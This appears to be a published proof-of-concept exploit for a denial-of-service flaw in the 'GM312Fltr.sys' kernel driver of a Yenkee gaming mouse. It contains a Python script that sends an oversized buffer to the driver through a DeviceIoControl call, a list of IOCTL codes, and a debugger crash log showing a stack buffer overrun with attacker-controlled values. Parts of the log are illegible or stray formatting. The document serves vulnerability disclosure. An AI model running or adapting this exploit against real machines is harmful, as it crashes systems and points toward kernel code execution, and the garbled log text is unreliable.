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# Exploit Title: Yankee Hornet Gaming Mouse - 'GM312Fltr.sys' Denial-Of-Service (PoC)
# Date: 2021/04/07
# Exploit Author: Quadron Research Lab
# Version: all version
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: https://www.yenkee.eu/gaming-mouse-hornet-aim/yms-3029
# Reference: https://github.com/Quadron-Research-Lab/Kernel\_Driver\_bugs/tree/main/GM312Fltr
```

```
import ctypes, sys
from ctypes import *
import io
from itertools import product
from sys import argv
```

```
devicename = "GM312Fltr"
```

```

ioctl = 0x22245C

ioctl_list = '''
0x22245C
0x222440
0x222441
0x222400
0x222404
0x222408
0x222420
0x222424
0x222448
0x222450
0x22245c
0x222460
'''

kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\GM312F1tr", 0xC0000000, 0, None, 0x3, 0,
None)

if not hevDevice or hevDevice == -1:
    print("Not Win! Sorry!")

else:
    print("OPENED!")

    buf = 'A' * 2000
    bufLength = 2000

    kernel32.DeviceIoControl(hevDevice, ioctl, buf, bufLength, None, 0,
byref(c_ulong()), None)

[Bugcheck Analysis]
Fatal System Error 0x000000f7

(0xBEBEA1CAEAF0A2C1,0x0000F80736BC1742,0xFFFF07F8C943E8BD,0x0000000000000000)

Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus
fffff807`2e1feb90 cc int 3

0 kd !analyze
Connected to Windows 10 19041 x64 target at (Mon Jun 14 204816.370 2021 (UTC +
200)), ptr64 TRUE
Loading Kernel Symbols
.....
.....
.....

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that
take too long.
Run !sym noisy before .reload to track down problems loading symbols.

.....
.....
Loading User Symbols
.....
Loading unloaded module list
.....

```

DRIVER_OVERRAN_STACK_BUFFER (f7)

A driver has overrun a stack-based **buffer**. This overrun could potentially allow a malicious user to gain control of this machine.

DESCRIPTION

A driver overran a stack-based **buffer** (or local variable) **in** a way that would have overwritten the function's **return** address and jumped back to an arbitrary address when the function returned. This **is** the classic **buffer** overrun hacking attack and the system has been brought down to prevent a malicious user **from** gaining complete control of it.

Do a kb to get a stack backtrace -- the last routine on the stack before the **buffer** overrun handlers and bugcheck call **is** the one that overran its local variable(s).

Arguments

Arg1 bebea1caeaf0a2c1, Actual security check cookie **from** the stack

Arg2 0000f80736bc1742, Expected security check cookie

Arg3 ffff07f8c943e8bd, Complement of the expected security check cookie

Arg4 0000000000000000, zero

Debugging Details

BUGCHECK_CODE f7

BUGCHECK_P1 bebea1caeaf0a2c1

BUGCHECK_P2 f80736bc1742

BUGCHECK_P3 ffff07f8c943e8bd

BUGCHECK_P4 0

PROCESS_NAME pythonw.exe

SYMBOL_NAME GM312Fltr+e1e

MODULE_NAME GM312Fltr

IMAGE_NAME GM312Fltr.sys

FAILURE_BUCKET_ID 0xF7_MISSING_GSFRAME_STACKPTR_ERROR_GM312Fltr!unknown_function

FAILURE_ID_HASH {b8e05604-2a11-789a-ad29-fc4916710f2d}

Followup MachineOwner

0 kd kb

RetAddr Args to Child

Call Site

fffff807`2e312d12 fffff807`344a4ae0 fffff807`2e17d000 00000000`00000000

00000000`00000000 nt!DbgBreakPointWithStatus

fffff807`2e3122f6 00000000`00000003 fffff807`344a4ae0 fffff807`2e20bbc0

00000000`000000f7 nt!KiBugCheckDebugBreak+0x12

fffff807`2e1f6df7 fffff807`344a5210 00000000`00000000 fffff807`36bc18c8

fffff807`344a51a8 nt!KeBugCheck2+0x946

fffff807`36bc0e1e 00000000`000000f7 bebea1ca`eaf0a2c1 0000f807`36bc1742

fffff07f8`c943e8bd nt!KeBugCheckEx+0x107

fffff807`36bc0ea7 fffff807`344a5210 00000000`00000000 fffff807`344a5748

fffff807`344a5720 GM312Fltr+0xea1e

fffff807`2e1ffbaf fffff807`36bc0e94 00000000`00000000 00000000`00000000

00000000`00000000 GM312Fltr+0xea7

fffff807`2e087547 fffff807`344a5710 00000000`00000000 fffffe08b`abb1e380

[illegible][illegible]

[illegible]

[illegible][illegible]

[illegible]

41414141`41414141 0x41414141`41414141
41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141 0x41414141`41414141
41414141`41414141 41414141`41414141 41414141`41414141
00000000`0020027f 0x41414141`41414141
41414141`41414141 41414141`41414141 41414141`0020027f 00000000`0020027f
00000000`5c4eafe0 0x41414141`41414141
41414141`41414141 41414141`41414141 00000000`0020027f 00000000`5c4eafe0
00000000`00000000 0x41414141`41414141
41414141`41414141 00000000`0020027f 00000000`5c4eafe0 00000000`00000000
0000ffff`00001f80 0x41414141`41414141
00000000`0020027f 00000000`5c4eafe0 00000000`00000000 0000ffff`00001f80
00000000`00000000 0x41414141`41414141
00000000`5c4eafe0 00000000`00000000 0000ffff`00001f80 00000000`00000000
00000000`00000000 0x20027f
00000000`00000000 0000ffff`00001f80 00000000`00000000 00000000`00000000
00000000`00000000 MSVCR90!pow+0x4e0